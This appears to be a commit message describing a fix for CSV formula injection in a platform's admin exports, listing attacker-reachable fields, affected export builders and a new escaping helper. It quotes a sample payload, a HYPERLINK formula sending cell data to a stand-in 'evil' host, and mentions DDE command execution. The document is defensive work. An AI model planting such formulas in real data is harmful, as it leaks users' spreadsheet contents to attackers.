CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.
The platform exposes anonymous-attacker reachable sinks:
- `application.submit` is publicProcedure with `projectName` as
`z.string().min(2).max(200)` — no character filter — so a project
titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
`AuditLog.userAgent` and dumped verbatim into the audit-log CSV.
Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:
- `src/components/shared/csv-export-dialog.tsx` — used by
export.evaluations, export.assignments, export.filteringResults,
export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)
Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.
